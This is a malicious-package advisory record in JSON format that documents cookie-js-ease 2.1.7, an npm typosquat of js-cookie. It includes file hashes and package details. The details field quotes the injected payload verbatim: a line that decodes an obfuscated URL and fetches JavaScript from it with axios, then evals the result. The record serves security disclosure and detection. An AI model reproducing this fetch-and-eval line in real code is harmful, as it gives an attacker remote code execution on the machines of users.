cookie-js-ease

{"modified":"2026-07-09T16:20:14Z","published":"2026-07-09T16:20:14Z","schema_version":"1.7.4","id":"MAL-2026-10058","summary":"Malicious code in cookie-js-ease (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (2908ef4ab9f019d4675b39066f876acb959cd9814b47bb66f8f4554c517abe0d)\ncookie-js-ease@2.1.7 impersonates the popular js-cookie library (same repository URL, banner comment, API surface, and reused upstream author name 'Klaus Hartl') but adds axios and request as runtime dependencies and injects a remote-code-execution branch into the CommonJS build referenced by the package's main entry (dist/cookie.ease.js). When a consumer calls Cookies.set()/remove() in a Node.js context (or with expires==0), the code executes require('axios').get(atob('aHR0cHM6Ly9jb29raWUtYXBpLXR3by52ZXJjZWwuYXBwLw')).then(r => { eval(r.data.content) }) — fetching JavaScript from https://cookie-api-two.vercel.app/ and eval'ing the response body inside the installer's Node process. The destination URL is base64-obfuscated via atob() to evade static scanners. The.mjs and.min.js variants do not contain this branch, so the payload is targeted specifically at CommonJS consumers. This is unambiguous typosquat-plus-RCE: consumers who mistype js-cookie and reach for this package receive attacker-controlled code execution on first use of the library's core API.\n","affected":[{"package":{"ecosystem":"npm","name":"cookie-js-ease"},"versions":["2.1.7"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"dist/cookie.ease.js","sha256":"bb0c1a992cac3046f34e91d87bdbb860c32f4116240c9a73b3f7853e4e8ccced","tlsh":"1691246c28e625e21f072439dbaf61007374d51b049ede607c8ce3621f6ac3916f5aed"},{"path":"package.json","sha256":"226c9d9230212d4366fae068476846a706c790c55f831d0c5abc959372b2f8a0","tlsh":"f641a72cec1c4ea71ae81ad9695a1292a521a4035d40fc4db362272c4f6e16f31fb7bd"}],"package_integrity":[{"filename":"cookie-js-ease-2.1.7.tgz","hashes":{"sha1":"5591f8e551f16468d712a1442750c4f98bc86c55","sha512_sri":"sha512-hbv1hI1Qfky6YzC3Yjk1Pk03I/By9r6euI/nN0rwrWExDdoEbQWGd4iCQuX3gtf0RE/X0/bm7RbBD9PqNnqdMA=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/cookie-js-ease/v/2.1.7"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-009300","import_time":"2026-07-09T16:20:58.373442056Z","modified_time":"2026-07-09T16:20:14Z","sha256":"2908ef4ab9f019d4675b39066f876acb959cd9814b47bb66f8f4554c517abe0d","source":"amazon-inspector","versions":["2.1.7"]}]}}